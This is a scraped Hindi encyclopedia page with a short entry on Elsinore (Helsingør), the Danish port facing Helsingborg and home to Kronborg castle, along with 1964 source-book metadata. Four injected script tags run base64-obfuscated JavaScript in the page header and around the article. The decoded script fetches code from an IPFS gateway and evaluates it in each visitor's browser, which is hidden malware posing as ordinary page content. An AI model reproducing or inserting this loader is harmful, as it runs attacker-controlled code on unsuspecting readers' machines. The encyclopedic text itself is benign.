एल्सिनौर
गणराज्य | इतिहास | पर्यटन | भूगोल | विज्ञान | कला | साहित्य | धर्म | संस्कृति | शब्दावली | विश्वकोश | भारतकोश |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
चित्र:Tranfer-icon.png | यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
एल्सिनौर
| |
पुस्तक नाम | हिन्दी विश्वकोश खण्ड 2 |
पृष्ठ संख्या | 255 |
भाषा | हिन्दी देवनागरी |
संपादक | सुधाकर पाण्डेय |
प्रकाशक | नागरी प्रचारणी सभा वाराणसी |
मुद्रक | नागरी मुद्रण वाराणसी |
संस्करण | सन् 1964 ईसवी |
उपलब्ध | भारतडिस्कवरी पुस्तकालय |
कॉपीराइट सूचना | नागरी प्रचारणी सभा वाराणसी |
लेख सम्पादक | श्यामसुंदर शर्मा |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
एल्सिनौर (डेनिश उच्चारण हेल सिंग-ऊर, क्तड्ढथ् द्मत्दढ़-द्वद्ध) कोपेनहेगेन से 28 मील उत्तर ज़ीलैंड नामक द्वीप के पूर्वी तट पर स्थित डेनमार्क का एक समुद्री बंदरगाह है। यह जलडमरूमध्य के सबसे सँकरे भाग पर तथा स्वीडेन के हेल सिंग-बोर्ग नगर के सामने तीन मील की दूरी पर बसा हुआ है। यह नगर दर्शनीय है। इसमें टाउनहाल तथा अस्पताल मुख्य भवन हैं। यहाँ के रहनेवाले मुख्यत: व्यापारी तथा सागरोपटीवी हैं। इस भूखंड के बढ़े हुए भाग पर, नगर के पूर्व में, क्रोनबोर्ग नामक किला है, जिसका निर्माण फ्ऱेड्रिक द्वितीय ने करवाया था। यहाँ के मुख्य धंधे मछली पकड़ना, जाल बुनना, मोटे वस्त्र तैयार करना, लोहा पिघलाना, जहाज निर्माण तथा यंत्र बनाना हैं। यहाँ का बंदरगाह सुंदर है, जिसका महत्व जलडमरूमध्य पर से चुंगी हट जाने के पश्चात् और भी बढ़ गया है।
टीका टिप्पणी और संदर्भ